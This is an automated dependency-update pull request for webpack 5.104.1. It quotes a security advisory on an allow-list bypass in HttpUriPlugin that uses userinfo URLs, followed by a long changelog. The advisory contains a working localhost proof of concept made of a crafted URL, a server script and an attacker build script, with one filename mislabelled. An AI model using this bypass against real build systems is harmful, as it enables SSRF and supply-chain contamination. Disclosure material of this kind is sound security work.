chore(deps): update dependency webpack to v5.104.1 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
webpack	5.98.0 → 5.104.1

GitHub Vulnerability Alerts

CVE-2025-68458

Summary

When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) can be bypassed to fetch resources from hosts outside allowedUris by using crafted URLs that include userinfo (username:password@host). If allowedUris enforcement relies on a raw string prefix check (e.g., uri.startsWith(allowed)), a URL that looks allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a policy/allow-list bypass that enables build-time SSRF behavior (outbound requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion (the fetched response is treated as module source and bundled). In my reproduction, the internal response was also persisted in the buildHttp cache.

Reproduced on:

• webpack version: 5.104.0
• Node version: v18.19.1

Details

Root cause (high level): allowedUris validation can be performed on the raw URI string, while the actual request destination is determined later by parsing the URL (e.g., new URL(uri)), which interprets the authority as the part after @.

Example crafted URL:

• http://127.0.0.1:9000@​127.0.0.1:9100/secret.js

If the allow-list is ["http://127.0.0.1:9000"], then:

• Raw string check:
  crafted.startsWith("http://127.0.0.1:9000") → true
• URL parsing (WHAT new URL() will contact):
  origin → http://127.0.0.1:9100 (host/port after @)

As a result, webpack fetches http://127.0.0.1:9100/secret.js even though allowedUris only included http://127.0.0.1:9000.

Evidence from reproduction:

• Server logs showed the internal-only endpoint being fetched:
  • [internal] 200 /secret.js served (...) (observed multiple times)
• Attacker-side build output showed:
  • the internal secret marker was present in the bundle
  • the internal secret marker was present in the buildHttp cache

PoC

This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.

1) Setup

mkdir split-userinfo-poc && cd split-userinfo-poc
npm init -y
npm i -D webpack webpack-cli

2) Create server.js

#!/usr/bin/env node
"use strict";

const http = require("http");

const ALLOWED_PORT = 9000;   // allowlisted-looking host
const INTERNAL_PORT = 9100;  // actual target if bypass succeeds

const secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;
const internalPayload =
  `// internal-only\n` +
  `export const secret = ${JSON.stringify(secret)};\n` +
  `export default "ok";\n`;

function listen(port, handler) {
  return new Promise(resolve => {
    const s = http.createServer(handler);
    s.listen(port, "127.0.0.1", () => resolve(s));
  });
}

(async () => {
  // "Allowed" host (should NOT be contacted if bypass works as intended)
  await listen(ALLOWED_PORT, (req, res) => {
    console.log(`[allowed-host] ${req.method} ${req.url} (should NOT be hit in userinfo bypass)`);
    res.statusCode = 200;
    res.setHeader("Content-Type", "application/javascript; charset=utf-8");
    res.end(`export default "ALLOWED_HOST_WAS_HIT_UNEXPECTEDLY";\n`);
  });

  // Internal-only service (SSRF-like target)
  await listen(INTERNAL_PORT, (req, res) => {
    if (req.url === "/secret.js") {
      console.log(`[internal] 200 /secret.js served (secret=${secret})`);
      res.statusCode = 200;
      res.setHeader("Content-Type", "application/javascript; charset=utf-8");
      res.end(internalPayload);
      return;
    }
    console.log(`[internal] 404 ${req.method} ${req.url}`);
    res.statusCode = 404;
    res.end("not found");
  });

  console.log("\nServers up:");
  console.log(`- allowed-host (should NOT be contacted): http://127.0.0.1:${ALLOWED_PORT}/`);
  console.log(`- internal target (should be contacted if vulnerable): http://127.0.0.1:${INTERNAL_PORT}/secret.js`);
})();

2) Create server.js

#!/usr/bin/env node
"use strict";

const path = require("path");
const os = require("os");
const fs = require("fs/promises");
const webpack = require("webpack");

function fmtBool(b) { return b ? "✅" : "❌"; }

async function walk(dir) {
  const out = [];
  let items;
  try { items = await fs.readdir(dir, { withFileTypes: true }); }
  catch { return out; }
  for (const it of items) {
    const p = path.join(dir, it.name);
    if (it.isDirectory()) out.push(...await walk(p));
    else if (it.isFile()) out.push(p);
  }
  return out;
}

async function fileContains(f, needle) {
  try {
    const buf = await fs.readFile(f);
    const s1 = buf.toString("utf8");
    if (s1.includes(needle)) return true;
    const s2 = buf.toString("latin1");
    return s2.includes(needle);
  } catch {
    return false;
  }
}

(async () => {
  const webpackVersion = require("webpack/package.json").version;

  const ALLOWED_PORT = 9000;
  const INTERNAL_PORT = 9100;

  // NOTE: allowlist is intentionally specified without a trailing slash
  // to demonstrate the risk of raw string prefix checks.
  const allowedUri = `http://127.0.0.1:${ALLOWED_PORT}`;

  // Crafted URL using userinfo so that:
  // - The string begins with allowedUri
  // - The actual authority (host:port) after '@​' is INTERNAL_PORT
  const crafted = `http://127.0.0.1:${ALLOWED_PORT}@​127.0.0.1:${INTERNAL_PORT}/secret.js`;
  const parsed = new URL(crafted);

  const tmp = await fs.mkdtemp(path.join(os.tmpdir(), "webpack-httpuri-userinfo-poc-"));
  const srcDir = path.join(tmp, "src");
  const distDir = path.join(tmp, "dist");
  const cacheDir = path.join(tmp, ".buildHttp-cache");
  const lockfile = path.join(tmp, "webpack.lock");
  const bundlePath = path.join(distDir, "bundle.js");

  await fs.mkdir(srcDir, { recursive: true });
  await fs.mkdir(distDir, { recursive: true });

  await fs.writeFile(
    path.join(srcDir, "index.js"),
    `import { secret } from ${JSON.stringify(crafted)};
console.log("LEAKED_SECRET:", secret);
export default secret;
`
  );

  const config = {
    context: tmp,
    mode: "development",
    entry: "./src/index.js",
    output: { path: distDir, filename: "bundle.js" },
    experiments: {
      buildHttp: {
        allowedUris: [allowedUri],
        cacheLocation: cacheDir,
        lockfileLocation: lockfile,
        upgrade: true
      }
    }
  };

  console.log("\n[ENV]");
  console.log(`- webpack version: ${webpackVersion}`);
  console.log(`- node version:    ${process.version}`);
  console.log(`- allowedUris:     ${JSON.stringify([allowedUri])}`);

  console.log("\n[CRAFTED URL]");
  console.log(`- import specifier: ${crafted}`);
  console.log(`- WHAT startsWith() sees: begins with "${allowedUri}" => ${fmtBool(crafted.startsWith(allowedUri))}`);
  console.log(`- WHAT URL() parses:`);
  console.log(`  - username: ${JSON.stringify(parsed.username)} (userinfo)`);
  console.log(`  - password: ${JSON.stringify(parsed.password)} (userinfo)`);
  console.log(`  - hostname: ${parsed.hostname}`);
  console.log(`  - port:     ${parsed.port}`);
  console.log(`  - origin:   ${parsed.origin}`);
  console.log(`  - NOTE: request goes to origin above (host/port after @​), not to "${allowedUri}"`);

  const compiler = webpack(config);

  compiler.run(async (err, stats) => {
    try {
      if (err) throw err;
      const info = stats.toJson({ all: false, errors: true, warnings: true });

      if (stats.hasErrors()) {
        console.error("\n[WEBPACK ERRORS]");
        console.error(info.errors);
        process.exitCode = 1;
        return;
      }

      const bundle = await fs.readFile(bundlePath, "utf8");
      const m = bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);
      const foundSecret = m ? m[0] : null;

      console.log("\n[RESULT]");
      console.log(`- temp dir:  ${tmp}`);
      console.log(`- bundle:    ${bundlePath}`);
      console.log(`- lockfile:  ${lockfile}`);
      console.log(`- cacheDir:  ${cacheDir}`);

      console.log("\n[SECURITY CHECK]");
      console.log(`- bundle contains INTERNAL_ONLY_SECRET_* : ${fmtBool(!!foundSecret)}`);

      if (foundSecret) {
        const lockHit = await fileContains(lockfile, foundSecret);

        const cacheFiles = await walk(cacheDir);
        let cacheHit = false;
        for (const f of cacheFiles) {
          if (await fileContains(f, foundSecret)) { cacheHit = true; break; }
        }

        console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);
        console.log(`- cache contains secret:    ${fmtBool(cacheHit)}`);
      }
    } catch (e) {
      console.error(e);
      process.exitCode = 1;
    } finally {
      compiler.close(() => {});
    }
  });
})();

4) Run

Terminal A:

node server.js

Terminal B:

node attacker.js

5) Expected vs Actual

Expected: The import should be blocked because the effective request destination is http://127.0.0.1:9100/secret.js, which is outside allowedUris (only http://127.0.0.1:9000 is allow-listed).

Actual: The crafted URL passes the allow-list prefix validation, webpack fetches the internal-only resource on port 9100 (confirmed by server logs), and the secret marker appears in the bundle and buildHttp cache.

Impact

Vulnerability class: Policy/allow-list bypass leading to build-time SSRF behavior and untrusted content inclusion in build outputs.

Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary. If an attacker can influence the imported HTTP(S) specifier (e.g., via source contribution, dependency manipulation, or configuration), they can cause outbound requests from the build environment to endpoints outside the allow-list (including internal-only services, subject to network reachability). The fetched response can be treated as module source and included in build outputs and persisted in the buildHttp cache, increasing the risk of leakage or supply-chain contamination.

---

Release Notes

webpack/webpack (webpack)

v5.104.1

Compare Source

Patch Changes

• 2efd21b: Reexports runtime calculation should not accessing WEBPACK_IMPORT_KEY decl with var.
• c510070: Fixed a user information bypass vulnerability in the HttpUriPlugin plugin.

v5.104.0

Compare Source

Minor Changes

• d3dd841: Use method shorthand to render module content in __webpack_modules__ object.
• d3dd841: Enhance import.meta.env to support object access.
• 4baab4e: Optimize dependency sorting in updateParent: sort each module only once by deferring to finishUpdateParent(), and reduce traversal count in sortWithSourceOrder by caching WeakMap values upfront.
• 04cd530: Handle more at-rules for CSS modules.
• cafae23: Added options to control the renaming of at-rules and various identifiers in CSS modules.
• d3dd841: Added base64url, base62, base58, base52, base49, base36, base32 and base25 digests.
• 5983843: Provide a stable runtime function variable __webpack_global__.
• d3dd841: Improved localIdentName hashing for CSS.

Patch Changes

• 22c48fb: Added module existence check for informative error message in development mode.
• 50689e1: Use the fully qualified class name (or export name) for [fullhash] placeholder in CSS modules.
• d3dd841: Support universal lazy compilation.
• d3dd841: Fixed module library export definitions when multiple runtimes.
• d3dd841: Fixed CSS nesting and CSS custom properties parsing.
• d3dd841: Don't write fragment from URL to filename and apply fragment to module URL.
• aab1da9: Fixed bugs for css/global type.
• d3dd841: Compatibility import.meta.filename and import.meta.dirname with eval devtools.
• d3dd841: Handle nested __webpack_require__.
• 728ddb7: The speed of identifier parsing has been improved.
• 0f8b31b: Improve types.
• d3dd841: Don't corrupt debugId injection when hidden-source-map is used.
• 2179fdb: Re-validate HttpUriPlugin redirects against allowedUris, restrict to http(s) and add a conservative redirect limit to prevent SSRF and untrusted content inclusion. Redirects failing policy are rejected before caching/lockfile writes.
• d3dd841: Serialize HookWebpackError.
• d3dd841: Added ability to use built-in properties in dotenv and define plugin.
• 3c4319f: Optimizing the regular expression character class by specifying ranges for runtime code.
• d3dd841: Reduce collision for local indent name in CSS.
• d3dd841: Remove CSS link tags when CSS imports are removed.

v5.103.0

Compare Source

Features

• Added DotenvPlugin and top level dotenv option to enable this plugin
• Added WebpackManifestPlugin
• Added support the ignoreList option in devtool plugins
• Allow to use custom javascript parse function
• Added import.meta.env support for environment variables
• Added support for import.meta.dirname and import.meta.filename
• Added support import.defer() for statistical path
• Handle import.meta.main
• Added suport to setup named exports for JSON modules and disable usage named export for import file from "./file.json" with { type: "json" }
• Added support __dirname/__filename/import.meta.dirname/import.meta.filename for universal target
• [CSS] Added the exportType option with link (by default), "text" and css-style-sheet values
• [CSS] Added support for composes properties

Fixes

• The dependOn chunk must be loaded before the common chunk
• Return to namespace import when the external request includes a specific export
• No runtime extra runtime code for module libraries
• Delay HMR accept dependencies to preserve import attributes
• Properly handle external presets for universal target
• Fixed incorrect identifier of import binding for module externals
• Fixed when defer import and dynamic default export mixed
• Reduce generated output when globalThis supported
• Fixed loading async modules in defer import
• Reexport module for default import when no used exports for systemjs library
• Rename HarmonyExportDependencyParserPlugin exported id to CompatibilityPlugin tagged id
• Handle __dirname and __filename for ES modules
• Rename single nested __webpack_export__ and __webpack_require__ in already bundled code
• [Types] webpack function type
• [Types] NormalModule type
• [Types] Multi compiler configuration type
• [Types] Fixed regression in custom hashDigest type
• [CSS] No extra runtime for initial chunk
• [CSS] Fixed a lot of CSS modules bugs

v5.102.1

Compare Source

Fixes

• Supported extends with env for browserslist
• Supported JSONP fragment format for web workers.
• Fixed dynamic import support in workers using browserslist.
• Fixed default defer import mangling.
• Fixed default import of commonjs externals for SystemJS format.
• Fixed context modules to the same file with different import attributes.
• Fixed typescript types.
• Improved import.meta warning messages to be more clear when used directly.
• [CSS] Fixed CC_UPPER_U parsing (E -> U) in tokenizer.

v5.102.0

Compare Source

Features

• Added static analyze for dynamic imports
• Added support for import file from "./file.ext" with { type: "bytes" } to get the content as Uint8Array (look at example)
• Added support for import file from "./file.ext" with { type: "text" } to get the content as text (look at example)
• Added the snapshot.contextModule to configure snapshots options for context modules
• Added the extractSourceMap option to implement the capabilities of loading source maps by comment, you don't need source-map-loader (look at example)
• The topLevelAwait experiment is now stable (you can remove experiments.topLevelAwait from your webpack.config.js)
• The layers experiment is now stable (you can remove experiments.layers from your webpack.config.js)
• Added function matcher support in rule options

Fixes

• Fixed conflicts caused by multiple concatenate modules
• Ignore import failure during HMR update with ES modules output
• Keep render module order consistent
• Prevent inlining modules that have this exports
• Removed unused timeout attribute of script tag
• Supported UMD chunk format to work in web workers
• Improved CommonJs bundle to ES module library
• Use es-lexer for mjs files for build dependencies
• Fixed support __non_webpack_require__ for ES modules
• Properly handle external modules for CSS
• AssetsByChunkName included assets from chunk.auxiliaryFiles
• Use createRequire only when output is ES module and target is node
• Typescript types

Performance Improvements

• Avoid extra calls for snapshot
• A avoid extra jobs for build dependencies
• Move import attributes to own dependencies

v5.101.3

Compare Source

Fixes

• Fixed resolve execution order issue from extra await in async modules
• Avoid empty block for unused statement
• Collect only specific expressions for destructuring assignment

v5.101.2

Compare Source

Fixes

• Fixed syntax error when comment is on the last line
• Handle var declaration for createRequire
• Distinguish free variable and tagged variable

v5.101.1

Compare Source

Fixes

• Filter deleted assets in processAdditionalAssets hook
• HMR failure in defer module
• Emit assets even if invalidation occurs again
• Export types for serialization and deserialization in plugins and export the ModuleFactory class
• Fixed the failure export of internal function for ES module chunk format
• Fixed GetChunkFilename failure caused by dependOn entry
• Fixed the import of missing dependency chunks
• Fixed when entry chunk depends on the runtime chunk hash
• Fixed module.exports bundle to ESM library
• Adjusted the time of adding a group depending on the fragment of execution time
• Fixed circle dependencies when require RawModule and condition of isDeferred
• Tree-shakable module library should align preconditions of allowInlineStartup

v5.101.0

Compare Source

Fixes

• Fixed concatenate optimization for ESM that caused undefined export
• Respect the output.environment.nodePrefixForCoreModules option everywhere
• Respect the output.importMetaName option everywhere
• Fixed await async dependencies when accepting them during HMR
• Better typescript types

Features

• Added colors helpers for CLI
• Enable tree-shaking for ESM external modules with named imports
• Added the deferImport option to parser options

Performance Improvements

• Fixed a regression in module concatenation after implementing deferred import support
• Fixed a potential performance issue in CleanPlugin
• Avoid extra require in some places

v5.100.2

Compare Source

Fixes

• Keep consistent CSS order
• Dependency without the source order attribute must keep their original index
• Keep module traversal consistent across reexport scenarios

Performance Improvements

• Extend importPhasesPlugin only when enable deferImport (#​19689)

v5.100.1

Compare Source

Fixes

• Tree-shaking unused ignored modules
• [Types] Compatibility with old Node.js versions

v5.100.0

Compare Source

Fixes

• Fixed the case where an ES modules entry chunk depends on the runtime chunk hash
• Handle function exports in webpack module wrapper
• Ensure dependent chunks are imported before startup & fix duplicate export of 'default'
• Generate lose closing brace when exports are unprovided
• CleanPlugin doesn't unlink same file twice
• Fixed unexpected error codes from fs.unlink on Windows
• Typescript types

Features

• HMR support for ES modules output
• ES module output mode now fully supports splitChunks when external variables and runtimeChunk are not set.
• Added support using keyword
• Implemented tc39 Defer Module Evaluation (experiment)
• Support dynamic template literals expressions for new URL(...)
• Enable ES modules worker chunk loading for Node.js targets
• Improved support for destructing in DefinePlugin
• Added VirtualUrlPlugin to support virtual: scheme

Performance Improvements

• Remove useless startup entrypoint runtime for ES modules output
• Cache new URL(...) evaluate expression

v5.99.9

Compare Source

Fixes

• HMR might fail if there are new initial chunks
• Destructuring namespace import with default
• Destructuring namespace import with computed-property
• Generate valid code for es export generation for multiple module entries
• Fixed public path issue for ES modules
• Asset modules work when lazy compilation used
• Eliminate unused statements in certain scenarios
• Fixed regression with location and order of dependencies
• Fixed typescript types

v5.99.8

Compare Source

Fixes

• Fixed type error with latest @types/node
• Fixed typescript types

v5.99.7

Compare Source

Fixes

• Don't skip export generation for default reexport (#​19463)
• Fixed module library export generation for reexport (#​19459)
• Avoid module concatenation in child compilation for module library (#​19457)
• Ensure HMR recover gracefully when CSS module with error
• Respect cause of any errors and errors of AggregateError in stats output
• Added missing @types/json-schema in types

v5.99.6

Compare Source

Fixes

• Respect public path for ES modules
• Fixed generation of module for module library when mixing commonjs and esm modules
• Always apply FlagDependencyExportsPlugin for libraries where it required
• Faster logic for dead control flow
• Typescript types

v5.99.5

Compare Source

Fixes

• Control dead flow for labeled and blockless statements

v5.99.4

Compare Source

Fixes

• Fixed terminated state for if/else

v5.99.3

Compare Source

Fixes

• Fixed dead control flow with deep nested if/else

v5.99.2

Compare Source

Fixes

• Dead control flow for exotic cases

v5.99.1

Compare Source

Fixes

• Dead control flow for many cases

v5.99.0

Compare Source

Fixes

• Fixed a lot of types
• Fixed runtime error when using asset module as entrypoint and runtimeChunk
• JSON generator now preserves __proto__ property
• Fixed when entry module isn't executed when targeting webworker with a runtime chunk
• Do not duplicate modules with import attributes and reexport
• The module and module ESM libraries have been union and code generation has been improved
• Use a valid output path for errored asset modules
• Remove BOM from JavaScript and CSS files when loader was not used
• Create export for externals for module/modern-module library
• Export unprovided variables for commonjs-static library
• Forward semicolons from meta.webpackAST
• Use xxhash64 for cache.hashAlgorithm when experiments.futureDefaults enabled
• [CSS] Fixed profiling plugin for CSS
• [CSS] Avoid extra module.export output for CSS module

Features

• Add dead control flow check
• Handle new Worker(import.meta.url) and new Worker(new URL(import.meta.url)) syntax
• Added ability to generate custom error content for generators

Performance Improvements

• Fixed excessive calls of getAllReferences
• Optimize loc for monomorphic inline caching

Chores

• Switch on strict types for typescript

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